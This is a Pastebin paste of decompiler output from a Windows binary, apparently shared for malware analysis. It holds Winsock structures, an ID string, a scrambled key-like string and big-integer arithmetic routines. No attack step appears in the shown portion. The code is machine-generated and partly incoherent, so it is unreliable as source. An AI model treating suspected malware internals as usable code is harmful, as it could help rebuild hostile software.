James_inthe_box

Decompiled

Dec 14th, 2017
3,437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 241.32 KB | None | 0 0
  1. //
  2. // This file was generated by the Retargetable Decompiler
  3. // Website: https://retdec.com
  4. // Copyright (c) 2017 Retargetable Decompiler <[email protected]>
  5. //
  6.  
  7. #include <arpa/inet.h>
  8. #include <netdb.h>
  9. #include <netinet/in.h>
  10. #include <stdbool.h>
  11. #include <stdint.h>
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/socket.h>
  16. #include <time.h>
  17. #include <unistd.h>
  18. #include <wchar.h>
  19. #include <windows.h>
  20.  
  21. // ------------------------ Structures ------------------------
  22.  
  23. struct WSAData {
  24. int16_t e0;
  25. int16_t e1;
  26. int16_t e2;
  27. int16_t e3;
  28. char * e4;
  29. char e5[1];
  30. char e6[1];
  31. };
  32.  
  33. struct _EXCEPTION_RECORD {
  34. int32_t e0;
  35. int32_t e1;
  36. struct _EXCEPTION_RECORD * e2;
  37. int32_t * e3;
  38. int32_t e4;
  39. int32_t e5[1];
  40. };
  41.  
  42. struct _LARGE_INTEGER {
  43. int64_t e0;
  44. };
  45.  
  46. struct _LIST_ENTRY {
  47. struct _LIST_ENTRY * e0;
  48. struct _LIST_ENTRY * e1;
  49. };
  50.  
  51. struct _M128A {
  52. int64_t e0;
  53. int64_t e1;
  54. };
  55.  
  56. struct _CONTEXT {
  57. int64_t e0;
  58. int64_t e1;
  59. int64_t e2;
  60. int64_t e3;
  61. int64_t e4;
  62. int64_t e5;
  63. int32_t e6;
  64. int32_t e7;
  65. int16_t e8;
  66. int16_t e9;
  67. int16_t e10;
  68. int16_t e11;
  69. int16_t e12;
  70. int16_t e13;
  71. int32_t e14;
  72. int64_t e15;
  73. int64_t e16;
  74. int64_t e17;
  75. int64_t e18;
  76. int64_t e19;
  77. int64_t e20;
  78. int64_t e21;
  79. int64_t e22;
  80. int64_t e23;
  81. int64_t e24;
  82. int64_t e25;
  83. int64_t e26;
  84. int64_t e27;
  85. int64_t e28;
  86. int64_t e29;
  87. int64_t e30;
  88. int64_t e31;
  89. int64_t e32;
  90. int64_t e33;
  91. int64_t e34;
  92. int64_t e35;
  93. int64_t e36;
  94. int64_t e37;
  95. int32_t e38;
  96. struct _M128A e39[26];
  97. int64_t e40;
  98. int64_t e41;
  99. int64_t e42;
  100. int64_t e43;
  101. int64_t e44;
  102. int64_t e45;
  103. };
  104.  
  105. struct _RTL_CRITICAL_SECTION {
  106. struct _RTL_CRITICAL_SECTION_DEBUG * e0;
  107. int32_t e1;
  108. int32_t e2;
  109. int32_t * e3;
  110. int32_t * e4;
  111. int32_t e5;
  112. };
  113.  
  114. struct _RTL_CRITICAL_SECTION_DEBUG {
  115. int16_t e0;
  116. int16_t e1;
  117. struct _RTL_CRITICAL_SECTION * e2;
  118. struct _LIST_ENTRY e3;
  119. int32_t e4;
  120. int32_t e5;
  121. int32_t e6;
  122. int16_t e7;
  123. int16_t e8;
  124. };
  125.  
  126. struct _SECURITY_ATTRIBUTES {
  127. int32_t e0;
  128. int32_t * e1;
  129. bool e2;
  130. };
  131.  
  132. struct hostent {
  133. char * e0;
  134. char ** e1;
  135. int16_t e2;
  136. int16_t e3;
  137. char ** e4;
  138. };
  139.  
  140. struct in_addr {
  141. int32_t e0;
  142. };
  143.  
  144. struct sockaddr {
  145. int16_t e0;
  146. char e1[14];
  147. };
  148.  
  149. // ------------------- Function Prototypes --------------------
  150.  
  151. int32_t __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(int32_t a1);
  152. int32_t __3f__3f_1CFile_40__40_UAE_40_XZ(void);
  153. int32_t __3f__3f_2_40_YAPAXI_40_Z(int32_t a1);
  154. int32_t __3f__3f_3_40_YAXPAX_40_Z(int32_t a1);
  155. int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z(void);
  156. int32_t __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(void);
  157. int32_t __3f_GetLength_40_CFile_40__40_UBEKXZ(void);
  158. int32_t __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z(int32_t a1, int32_t a2);
  159. int32_t __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(int32_t a1, int32_t a2);
  160. int32_t ___CxxFrameHandler(int32_t * pExcept, int32_t * pRN, int32_t * pContext, int32_t * pDC);
  161. int32_t (*___dllonexit(int32_t (*func)(), void (***pbegin)(), void (***pend)()))();
  162. int32_t __controlfp(int32_t NewValue, int32_t Mask);
  163. int32_t __except_handler3(struct _EXCEPTION_RECORD * exception_record, int32_t registration, struct _CONTEXT * context, int32_t dispatcher);
  164. void __initterm(void (**First)(), void (**Last)());
  165. int32_t __purecall(void);
  166. int32_t __XcptFilter(int32_t xcptnum, int32_t * pxcptinfoptrs);
  167. int32_t * _memcpy_1(int32_t * dest, int32_t * src, int32_t n);
  168. int32_t * _memset_2(int32_t * s, int32_t c, int32_t n);
  169. char * _strcat(char * dest, char * src);
  170. int32_t _strcmp(char * s1, char * s2);
  171. char * _strcpy(char * dest, char * src);
  172. int32_t _strlen(char * s);
  173. int32_t _WSACleanup(void);
  174. int32_t entry_point(void);
  175. int32_t function_401000(void);
  176. int32_t function_40100a(void);
  177. int32_t function_40103f(void);
  178. int32_t function_401069(void);
  179. int32_t function_401092(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
  180. int32_t function_401159(char * a1, int32_t a2, int32_t a3, int32_t a4);
  181. int32_t function_40120a(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6);
  182. int32_t function_401337(int32_t a1, int32_t * a2, int32_t a3, int32_t a4);
  183. int32_t function_40150e(int32_t * a1);
  184. int32_t function_40152e(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
  185. int32_t function_401652(void);
  186. int32_t function_401732(void);
  187. int32_t function_4017d5(char * a1, int32_t a2);
  188. int32_t function_4017e8(int32_t a1);
  189. int32_t function_4017fa(int32_t a1, int32_t a2);
  190. int32_t function_40181e(char * a1, int32_t a2);
  191. int32_t function_401863(int32_t a1, int32_t a2);
  192. int32_t function_4018b0(void);
  193. int32_t function_401967(void);
  194. int32_t function_4019d6(char a1);
  195. int32_t function_4019f2(int32_t a1);
  196. int32_t function_401a8b(char * str4, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
  197. int32_t function_401b5f(void);
  198. int32_t function_401bb6(void);
  199. int32_t function_402023(void);
  200. int32_t function_402167(void);
  201. int32_t function_4026a0(void);
  202. int32_t function_4026ae(void);
  203. int32_t function_4026da(int32_t result);
  204. int32_t function_4026e4(int32_t a1);
  205. int32_t function_402719(void);
  206. int32_t function_402756(void);
  207. int32_t function_402796(int32_t a1, char * a2);
  208. int32_t function_40283c(int32_t a1, int32_t a2);
  209. int32_t function_4028fa(int32_t a1, int32_t a2);
  210. int32_t function_402ad6(int32_t a1, int32_t a2);
  211. int32_t function_402b58(int32_t a1);
  212. int32_t function_402c52(void);
  213. int32_t function_402c6c(void);
  214. int32_t function_402cef(void);
  215. int32_t function_402d78(int32_t * a1, int32_t a2);
  216. int32_t function_402d95(void);
  217. int32_t function_402db4(void);
  218. int32_t function_402ddf(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
  219. int32_t function_402e17(int32_t a1, int32_t a2, int32_t a3);
  220. int32_t function_402e3b(void);
  221. int32_t function_402e67(char a1);
  222. int32_t function_402e83(int32_t a1);
  223. int32_t function_402edd(void);
  224. int32_t function_4030a1(void);
  225. int32_t function_4030cd(char a1);
  226. int32_t function_4030e9(int32_t a1);
  227. int32_t function_403152(void);
  228. int32_t function_4031bc(void);
  229. int32_t function_403220(int32_t * a1);
  230. int32_t function_40333d(int32_t * a1, int32_t a2, int32_t a3);
  231. int32_t function_4033ea(int32_t * a1);
  232. int32_t function_4034a7(int32_t * a1, int32_t a2);
  233. int32_t function_403521(int32_t * a1);
  234. int32_t function_40361e(int32_t * a1, int32_t a2);
  235. int32_t function_4036a9(int32_t * a1);
  236. int32_t function_403722(void);
  237. int32_t function_40376f(char a1);
  238. int32_t function_40378b(int32_t a1);
  239. int32_t function_403805(void);
  240. int32_t function_403a36(void);
  241. int32_t function_403a96(void);
  242. int32_t function_403ab9(int32_t * a1, int32_t a2, int32_t a3);
  243. int32_t function_403af1(void);
  244. int32_t function_403afb(void);
  245. int32_t function_403b21(void);
  246. int32_t function_403b37(void);
  247. int32_t function_403b41(void);
  248. int32_t function_403b67(void);
  249. int32_t function_403b7d(void);
  250. int32_t function_403b87(void);
  251. int32_t function_403b91(void);
  252. int32_t function_403ba7(int32_t a1, int32_t a2, int32_t a3);
  253. int32_t function_403bca(void);
  254. int32_t function_403fca(int32_t a1);
  255. int32_t function_404343(void);
  256. int32_t function_4043d3(int32_t a1, int32_t a2, int32_t a3);
  257. void function_40441e(struct _RTL_CRITICAL_SECTION * lpCriticalSection);
  258. int32_t function_40442f(void);
  259. int32_t function_404436(char a1);
  260. int32_t function_404453(void);
  261. int32_t function_40448c(void);
  262. int32_t function_40449c(void);
  263. int32_t function_4044a0(void);
  264. int32_t function_4044f1(void);
  265. int32_t function_404542(char a1);
  266. int32_t function_40455e(int32_t a1);
  267. int32_t function_4045b5(void);
  268. int32_t function_4045bf(void);
  269. int32_t function_4045d8(void);
  270. int32_t function_404602(void);
  271. int32_t function_404699(void);
  272. int32_t function_404715(void);
  273. int32_t function_404782(int32_t s);
  274. int32_t function_404791(void);
  275. int32_t function_4048c0(int32_t a1, int32_t a2);
  276. int32_t function_40497c(int32_t a1);
  277. int32_t function_404a98(int32_t a1);
  278. int32_t function_404ac4(int32_t a1);
  279. int32_t function_404b14(void);
  280. int32_t function_404b20(void);
  281. int32_t function_404b60(void);
  282. int32_t function_404ce8(void);
  283. void function_404cfc(int32_t Code);
  284. int32_t function_404d1a(void);
  285. int32_t function_404d2f(void);
  286. int32_t function_404d50(void);
  287. int32_t function_404dc5(void);
  288. int32_t function_404e35(void);
  289. int32_t function_404efe(void);
  290. int32_t function_405019(void);
  291. int32_t function_40504e(void);
  292.  
  293. // --------------------- Global Variables ---------------------
  294.  
  295. int32_t g1 = 0; // eax
  296. int32_t g2 = 0; // ebp
  297. int32_t g3 = 0; // ebx
  298. int32_t g4 = 0; // ecx
  299. int32_t g5 = 0; // edi
  300. int32_t g6 = 0; // edx
  301. int32_t g7 = 0; // esi
  302. int32_t g8 = 0; // esp
  303. int32_t g9 = 0x258033eb;
  304. int32_t g10 = 0x4019d6;
  305. int32_t g11 = 0x402e67;
  306. int32_t g12 = 0x4030cd;
  307. int32_t g13 = 0x40376f;
  308. int32_t g14 = 0x404542;
  309. int32_t g15 = 0x404436;
  310. char (*g16)[65] = "8&Uk(%j*rVQNyx@c8&Uk(%j*rVQNyx@h6&Uk(%j*rVQnyx@hy&Uk(%j*7VQNyx9h";
  311. int32_t g17 = -1;
  312. int32_t g18 = 1024;
  313. int32_t g19 = 22;
  314. int32_t g20 = 5;
  315. char g21[2] = "i";
  316. int32_t g22 = 104;
  317. int32_t g23 = 115;
  318. int32_t g24 = 47;
  319. int32_t g25 = 114;
  320. char g26[2] = ".";
  321. int32_t g27 = 1;
  322. char g28[2] = "@";
  323. char * g29;
  324. int32_t g30 = 0;
  325. int32_t g31 = 0;
  326. int64_t g32 = 0;
  327. int32_t g33 = 0;
  328. char * g34;
  329. int32_t g35 = 0;
  330. int32_t g36 = 0;
  331. char g37 = 0;
  332. char g38 = 0;
  333. int32_t g39 = 0;
  334. char * g40;
  335. int32_t g41 = 0;
  336. char * g42;
  337. int32_t g43 = 0;
  338. char * g44;
  339. struct _SECURITY_ATTRIBUTES * g45 = NULL;
  340. int32_t g46 = 0;
  341. int32_t g47 = 0;
  342. int32_t g48 = 0;
  343. int32_t g49 = 0;
  344. int32_t g50 = 0;
  345. char g51 = 0;
  346. int32_t g52 = 0;
  347. char * g53;
  348. int32_t g54 = 0;
  349. int32_t g55 = 0;
  350. int32_t g56 = 0;
  351. char * g57;
  352. char * g58;
  353. char * g59;
  354. char * g60;
  355. char * g61;
  356. struct WSAData * g62 = NULL;
  357. char * g63;
  358. void (***g64)() = NULL;
  359. void (***g65)() = NULL;
  360.  
  361. // ------------------------ Functions -------------------------
  362.  
  363. // Address range: 0x401000 - 0x401009
  364. int32_t function_401000(void) {
  365. // entry
  366. function_40100a();
  367. return function_40103f();
  368. }
  369.  
  370. // Address range: 0x40100a - 0x40103e
  371. int32_t function_40100a(void) {
  372. // 0x40100a
  373. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  374. return _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)"Default_Id", strlen("Default_Id"));
  375. }
  376.  
  377. // Address range: 0x40103f - 0x401068
  378. int32_t function_40103f(void) {
  379. // 0x40103f
  380. return function_404ac4(0x40104b);
  381. }
  382.  
  383. // Address range: 0x401069 - 0x401091
  384. int32_t function_401069(void) {
  385. // 0x401069
  386. int32_t v1;
  387. int32_t * v2 = (int32_t *)v1; // 0x40106f
  388. int32_t result = *v2; // 0x401071
  389. // branch -> 0x401071
  390. while (true) {
  391. int32_t v3 = result - 1; // 0x401071
  392. if (v3 < 0) {
  393. // 0x40108c
  394. *v2 = result;
  395. return result;
  396. }
  397. // 0x401074
  398. int32_t v4;
  399. uint32_t v5 = *(int32_t *)(4 * v3 / 32 + v4); // 0x40107f
  400. uint32_t v6 = v3 & 31; // 0x401082
  401. int32_t v7 = v5; // 0x401087
  402. if (v6 != 0) {
  403. // bb
  404. v7 = v5 >> v6;
  405. // branch -> bb8
  406. }
  407. // bb8
  408. if ((v7 & 1) != 0) {
  409. // break -> 0x40108c
  410. break;
  411. }
  412. result = v3;
  413. // continue -> 0x401071
  414. }
  415. // 0x40108c
  416. *v2 = result;
  417. return result;
  418. }
  419.  
  420. // Address range: 0x401092 - 0x401158
  421. int32_t function_401092(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
  422. int32_t v1 = (int32_t)a1;
  423. g6 = a2;
  424. int32_t v2 = *(int32_t *)a2; // 0x40109f
  425. int32_t v3; // 0x4010f0
  426. int32_t v4; // 0x4010f0
  427. int32_t result; // 0x4010b9
  428. if (v2 > a4) {
  429. int32_t v5 = (a4 - 1) / 32; // 0x4010aa
  430. int32_t v6 = v5 + 1; // 0x4010ad
  431. int32_t v7 = a2; // 0x4010cd
  432. if (v5 < (v2 - 1) / 32) {
  433. // 0x4010b6
  434. result = 4 * v6 + a3;
  435. *(int32_t *)result = 0;
  436. int32_t v8 = v6 + 1; // 0x4010c1
  437. // branch -> 0x4010bc
  438. while (v8 <= (*(int32_t *)g6 - 1) / 32) {
  439. // 0x4010bc
  440. result += 4;
  441. *(int32_t *)result = 0;
  442. v8++;
  443. // continue -> 0x4010bc
  444. }
  445. // 0x4010cd
  446. v7 = g6;
  447. // branch -> 0x4010cd
  448. }
  449. // 0x4010cd
  450. v4 = v7;
  451. v3 = *(int32_t *)v7;
  452. // branch -> bb
  453. } else {
  454. int32_t v9 = (v2 - 1) / 32; // 0x4010d2
  455. int32_t v10 = v9 + 1; // 0x4010d5
  456. int32_t v11 = (a4 - 1) / 32; // 0x4010d7
  457. if (v9 < v11) {
  458. // 0x4010de
  459. _memset((char *)(4 * v10 + v1), 0, v11 - v10 + 1);
  460. v4 = g6;
  461. v3 = a4;
  462. // branch -> bb
  463. } else {
  464. v4 = a2;
  465. v3 = a4;
  466. }
  467. }
  468. int32_t v12 = v3 - 1; // 0x4010e8
  469. result = v12 / 32;
  470. *(int32_t *)v4 = v3;
  471. int32_t v13 = 0; // edi
  472. int32_t v14; // 0x401131
  473. if (v12 < -31) {
  474. // .dec_label_pc_401131_crit_edge
  475. v14 = 0;
  476. // branch -> 0x401131
  477. } else {
  478. int32_t v15 = a3; // ecx
  479. int32_t v16 = 0; // 0x40110e
  480. int32_t v17 = a3; // 0x401107
  481. int32_t v18 = result + 1;
  482. // branch -> 0x401104
  483. int32_t v19; // 0x40110e15
  484. while (true) {
  485. int32_t * v20 = (int32_t *)(v17 + v1 - a3); // 0x40110c
  486. int32_t v21 = *(int32_t *)v17 + v16 + *v20; // 0x40110e
  487. *v20 = v21;
  488. int32_t v22 = v15; // 0x401112
  489. uint32_t v23 = *(int32_t *)v22; // 0x401112
  490. int32_t v24;
  491. if (v21 >= v23) {
  492. // 0x401118
  493. if (v21 != v23 || v13 != 1) {
  494. // 0x40111f
  495. v24 = 0;
  496. v19 = 0;
  497. // branch -> 0x401126
  498. lab_0x401126:
  499. // 0x401126
  500. v13 = v24;
  501. int32_t v25 = v22 + 4; // 0x401126
  502. v15 = v25;
  503. int32_t v26 = v18 - 1; // 0x401129
  504. if (v26 == 0) {
  505. // break -> 0x40112e
  506. break;
  507. }
  508. v16 = v19;
  509. v17 = v25;
  510. v18 = v26;
  511. // continue -> 0x401104
  512. continue;
  513. }
  514. }
  515. // 0x401123
  516. v24 = 1;
  517. v19 = 1;
  518. // branch -> 0x401126
  519. goto lab_0x401126;
  520. }
  521. // 0x40112e
  522. v14 = v19;
  523. // branch -> 0x401131
  524. }
  525. // 0x401131
  526. *(int32_t *)(v1 + 4 + 4 * result) = v14;
  527. int32_t * v27 = (int32_t *)g6; // 0x401135
  528. int32_t v28 = *v27; // 0x401135
  529. int32_t v29 = v28; // 0x401151
  530. if (v28 >= 0) {
  531. // branch -> 0x40113b
  532. int32_t v30; // 0x40114e
  533. while (true) {
  534. int32_t v31 = *(int32_t *)(4 * v28 / 32 + v1) >> (v28 & 31); // 0x401148
  535. result = v31;
  536. int32_t v32 = v28; // 0x40115122
  537. if ((v31 & 1) == 0) {
  538. // 0x40114e
  539. v30 = v28 - 1;
  540. if (v30 < 0) {
  541. // break -> 0x401151
  542. break;
  543. }
  544. v28 = v30;
  545. // continue -> 0x40113b
  546. continue;
  547. }
  548. // 0x401151
  549. // branch -> 0x401151
  550. // 0x401151
  551. *v27 = v32 + 1;
  552. return result;
  553. }
  554. // 0x401151
  555. v29 = v30;
  556. // branch -> 0x401151
  557. }
  558. // 0x401151
  559. *v27 = v29 + 1;
  560. return result;
  561. }
  562.  
  563. // Address range: 0x401159 - 0x401209
  564. int32_t function_401159(char * a1, int32_t a2, int32_t a3, int32_t a4) {
  565. int32_t v1 = g2; // 0x401159
  566. int32_t v2 = g5; // 0x401161
  567. int32_t * v3 = (int32_t *)a2; // 0x401162
  568. int32_t v4 = *v3; // 0x401162
  569. if (v4 < a4) {
  570. // 0x4011aa
  571. // branch -> 0x401205
  572. // 0x401205
  573. g5 = v2;
  574. g2 = v1;
  575. return 0;
  576. }
  577. int32_t v5 = v4 - 1; // 0x401169
  578. int32_t v6 = v5 / 32; // 0x40116c
  579. if (v5 < -31) {
  580. // 0x401196
  581. // branch -> bb
  582. // bb
  583. // branch -> 0x401202
  584. // 0x401202
  585. *v3 = 0;
  586. // branch -> 0x401205
  587. } else {
  588. int32_t v7 = (int32_t)a1; // 0x401177
  589. int32_t v8 = 4 * v6 + a3; // 0x40118d
  590. int32_t v9 = v6;
  591. // branch -> 0x40117f
  592. while (true) {
  593. uint32_t v10 = *(int32_t *)v8; // 0x40117f
  594. uint32_t v11 = *(int32_t *)(v8 + v7 - a3); // 0x401181
  595. if (v10 < v11) {
  596. int32_t v12 = 0; // edi
  597. int32_t v13 = v7; // edx
  598. int32_t v14 = v6 + 1; // ebx
  599. int32_t v15 = 0; // 0x4011c5
  600. int32_t v16 = v7; // 0x4011c9
  601. // branch -> 0x4011be
  602. while (true) {
  603. int32_t * v17 = (int32_t *)v16; // 0x4011be
  604. uint32_t v18 = *v17; // 0x4011be
  605. uint32_t v19 = v18 - *(int32_t *)(v16 + a3 - v7) - v15; // 0x4011c5
  606. *v17 = v19;
  607. int32_t v20;
  608. int32_t v21; // 0x4011c521
  609. if (v19 <= v18) {
  610. // 0x4011cd
  611. if (v19 != v18 || v12 != 1) {
  612. // 0x4011d4
  613. v20 = 0;
  614. v21 = 0;
  615. // branch -> 0x4011db
  616. lab_0x4011db:
  617. // 0x4011db
  618. v12 = v20;
  619. int32_t v22 = v13 + 4; // 0x4011db
  620. v13 = v22;
  621. int32_t v23 = v14 - 1; // 0x4011de
  622. v14 = v23;
  623. if (v23 == 0) {
  624. int32_t v24 = *v3; // 0x4011e6
  625. // branch -> 0x4011e6
  626. while (true) {
  627. int32_t v25 = v24 - 1; // 0x4011e6
  628. if (v25 >= 0) {
  629. int32_t v26 = *(int32_t *)(4 * v25 / 32 + v7); // 0x4011f3
  630. uint32_t v27 = v25 & 31; // 0x4011f6
  631. int32_t v28 = v26; // 0x4011fb
  632. if (v27 != 0) {
  633. // bb38
  634. v28 = v26 >> v27;
  635. // branch -> bb39
  636. }
  637. // bb39
  638. if ((v28 & 1) != 0) {
  639. // break -> 0x4011ff
  640. break;
  641. }
  642. v24 = v25;
  643. // continue -> 0x4011e6
  644. continue;
  645. }
  646. // 0x4011ff
  647. // branch -> 0x401202
  648. // 0x401202
  649. *v3 = v24;
  650. // branch -> 0x401205
  651. // 0x401205
  652. g5 = v2;
  653. g2 = v1;
  654. return 1;
  655. }
  656. // 0x4011ff
  657. // branch -> 0x401202
  658. // 0x401202
  659. *v3 = v24;
  660. // branch -> 0x401205
  661. // 0x401205
  662. g5 = v2;
  663. g2 = v1;
  664. return 1;
  665. }
  666. // 0x4011db
  667. v15 = v21;
  668. v16 = v22;
  669. // branch -> 0x4011be
  670. continue;
  671. }
  672. }
  673. // 0x4011d8
  674. v20 = 1;
  675. v21 = 1;
  676. // branch -> 0x4011db
  677. goto lab_0x4011db;
  678. }
  679. } else {
  680. // 0x401188
  681. if (v10 > v11) {
  682. // 0x4011aa
  683. // branch -> 0x4011aa
  684. // 0x4011aa
  685. // branch -> 0x401205
  686. // 0x401205
  687. g5 = v2;
  688. g2 = v1;
  689. return 0;
  690. }
  691. int32_t v29 = v9 - 1; // 0x40118a
  692. if (v29 < 0) {
  693. // break -> 0x40119a
  694. break;
  695. }
  696. v8 -= 4;
  697. v9 = v29;
  698. // continue -> 0x40117f
  699. continue;
  700. }
  701. }
  702. // 0x40119a
  703. _memset(a1, 0, v6 + 1);
  704. // branch -> bb
  705. // bb
  706. // branch -> 0x401202
  707. // 0x401202
  708. *v3 = 0;
  709. // branch -> 0x401205
  710. }
  711. // 0x401205
  712. g5 = v2;
  713. g2 = v1;
  714. return 1;
  715. }
  716.  
  717. // Address range: 0x40120a - 0x401336
  718. int32_t function_40120a(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
  719. int32_t v1 = (int32_t)a1;
  720. int32_t v2; // bp-1648
  721. int32_t v3 = &v2; // 0x40120d
  722. v2 = 0;
  723. int32_t v4 = g5; // 0x40121b
  724. int32_t v5 = 0; // bp-1644
  725. g6 = a2;
  726. _memset((char *)&v5, 0, 399);
  727. int32_t v6 = a4 - 1; // 0x401234
  728. int32_t v7; // eax
  729. int32_t v8; // 0x401303
  730. int32_t v9; // 0x40132f
  731. int32_t * v10; // 0x4012df
  732. int32_t result2; // 0x40130d
  733. int32_t v11; // 0x401324
  734. int32_t result; // 0x401328
  735. int32_t v12; // 0x4012e4
  736. if (v6 >= 0xffffffe1) {
  737. int32_t v13 = (*(int32_t *)g6 - 1) / 32; // 0x40124d
  738. int32_t v14 = v3; // esi
  739. int32_t v15 = v13; // 0x401276
  740. int32_t v16 = v3; // 0x401262
  741. int32_t v17 = 0;
  742. // branch -> 0x401262
  743. while (true) {
  744. int32_t v18 = 0; // 0x4012c9
  745. int32_t v19 = 0; // 0x4012c1
  746. if (v15 >= 0) {
  747. int32_t v20 = v15 + 1; // 0x401276
  748. int32_t v21 = v20;
  749. int32_t v22 = v1;
  750. int32_t v23 = __allmul((int64_t)*(int32_t *)v22, 0); // 0x40128c
  751. int32_t * v24 = (int32_t *)v14; // 0x401291
  752. int32_t v25 = *v24 + v23; // 0x401295
  753. int32_t v26 = g6 + (int32_t)(v25 < v23); // 0x401297
  754. g6 = v26;
  755. uint32_t v27 = 0; // 0x401299
  756. uint32_t v28 = v27 + v25; // 0x401299
  757. int32_t v29 = v26 + (int32_t)(v28 < v27); // 0x40129b
  758. *v24 = v28;
  759. v14 += 4;
  760. // branch -> 0x401280
  761. while (v21 != 1) {
  762. // 0x401280
  763. v21--;
  764. v22 += 4;
  765. v23 = __allmul((int64_t)*(int32_t *)v22, 0);
  766. v24 = (int32_t *)v14;
  767. v25 = *v24 + v23;
  768. v26 = g6 + (int32_t)(v25 < v23);
  769. g6 = v26;
  770. v27 = v29;
  771. v28 = v27 + v25;
  772. v29 = v26 + (int32_t)(v28 < v27);
  773. *v24 = v28;
  774. v14 += 4;
  775. // continue -> 0x401280
  776. }
  777. // 0x4012b2
  778. g6 = a2;
  779. v18 = v29;
  780. v19 = v20;
  781. // branch -> 0x4012be
  782. }
  783. int32_t v30 = v17 + 1; // 0x4012c3
  784. *(int32_t *)(4 * (v19 + v17) - 1644 + g2) = v18;
  785. int32_t v31 = v16 + 4; // 0x4012d3
  786. v14 = v31;
  787. if (v30 > v6 / 32) {
  788. // 0x4012de
  789. // branch -> 0x4012df
  790. // 0x4012df
  791. v10 = (int32_t *)g6;
  792. v12 = *v10 + v6;
  793. int32_t v32 = v12; // 0x401306
  794. if (v12 >= 0) {
  795. // 0x4012ec
  796. v8 = v12;
  797. // branch -> 0x4012ec
  798. int32_t v33; // 0x401303
  799. while (true) {
  800. // 0x4012ec
  801. if ((*(int32_t *)(g2 - 1644 + 4 * v8 / 32) >> (v8 & 31) & 1) == 0) {
  802. lab_0x401303:
  803. // 0x401303
  804. v33 = v8 - 1;
  805. if (v33 < 0) {
  806. // break -> 0x401306
  807. break;
  808. }
  809. v8 = v33;
  810. // continue -> 0x4012ec
  811. continue;
  812. }
  813. // 0x401306
  814. // branch -> 0x401306
  815. }
  816. // 0x401306
  817. v32 = v33;
  818. // branch -> 0x401306
  819. }
  820. // 0x401306
  821. *v10 = v32 + 1;
  822. result2 = *(int32_t *)g6 - 1;
  823. if (result2 >= 0) {
  824. // 0x401315
  825. v7 = v1;
  826. int32_t v34 = 0; // 0x401323
  827. v11 = v1;
  828. // branch -> 0x401320
  829. while (true) {
  830. // 0x401320
  831. *(int32_t *)v11 = *(int32_t *)(v3 - v1 + v11);
  832. result = v7 + 4;
  833. v7 = result;
  834. v9 = v34 + 1;
  835. if (v9 > (*(int32_t *)g6 - 1) / 32) {
  836. // 0x401333
  837. // branch -> 0x401333
  838. // 0x401333
  839. g5 = v4;
  840. return result;
  841. }
  842. lab_0x401320:
  843. // 0x401320
  844. v34 = v9;
  845. v11 = result;
  846. // branch -> 0x401320
  847. }
  848. }
  849. // 0x401333
  850. g5 = v4;
  851. return result2;
  852. }
  853. // 0x4012be
  854. v15 = v13;
  855. v16 = v31;
  856. v17 = v30;
  857. // branch -> 0x401262
  858. }
  859. }
  860. // 0x4012df
  861. v10 = (int32_t *)g6;
  862. v12 = *v10 + v6;
  863. if (v12 >= 0) {
  864. // 0x4012ec
  865. v8 = v12;
  866. // branch -> 0x4012ec
  867. while (true) {
  868. // 0x4012ec
  869. if ((*(int32_t *)(g2 - 1644 + 4 * v8 / 32) >> (v8 & 31) & 1) == 0) {
  870. goto lab_0x401303;
  871. }
  872. // 0x401306
  873. // branch -> 0x401306
  874. }
  875. }
  876. // 0x401306
  877. *v10 = v12 + 1;
  878. result2 = *(int32_t *)g6 - 1;
  879. if (result2 >= 0) {
  880. // 0x401315
  881. v11 = v1;
  882. // branch -> 0x401320
  883. while (true) {
  884. // 0x401320
  885. *(int32_t *)v11 = *(int32_t *)(v3 - v1 + v11);
  886. result = v1 + 4;
  887. v7 = result;
  888. v9 = 1;
  889. if (v9 <= (*(int32_t *)g6 - 1) / 32) {
  890. goto lab_0x401320;
  891. }
  892. // 0x401333
  893. // branch -> 0x401333
  894. // 0x401333
  895. g5 = v4;
  896. return result;
  897. }
  898. }
  899. // 0x401333
  900. g5 = v4;
  901. return result2;
  902. }
  903.  
  904. // Address range: 0x401337 - 0x40150d
  905. int32_t function_401337(int32_t a1, int32_t * a2, int32_t a3, int32_t a4) {
  906. int32_t v1 = (int32_t)a2;
  907. int32_t v2 = g7; // 0x40134a
  908. g7 = v1;
  909. int32_t v3 = 0; // bp-812
  910. _memset((char *)&v3, 0, 199);
  911. int32_t v4 = *(int32_t *)g7; // 0x40135e
  912. int32_t v5 = v4 - a4; // 0x401360
  913. if (v4 < a4) {
  914. // 0x40150a
  915. g7 = v2;
  916. return 0;
  917. }
  918. int32_t v6 = a4 - 1; // 0x40136d
  919. int32_t v7 = v6 / 32; // 0x401373
  920. g3 = a3;
  921. int32_t v8 = (v4 - 1) / 32; // 0x40137a
  922. uint32_t v9 = v8 - v7; // 0x40137d
  923. int32_t v10 = v6; // 0x4013b6
  924. if (v9 >= 1) {
  925. int32_t v11 = a3; // 0x4013b0
  926. if (v6 >= -31) {
  927. int32_t v12 = 4 * v8 + a3; // 0x401391
  928. int32_t v13 = 4 * v7 + a3;
  929. *(int32_t *)v12 = *(int32_t *)v13;
  930. int32_t v14 = v7; // 0x4013a5
  931. // branch -> 0x401397
  932. while (v14 != 0) {
  933. // 0x401397
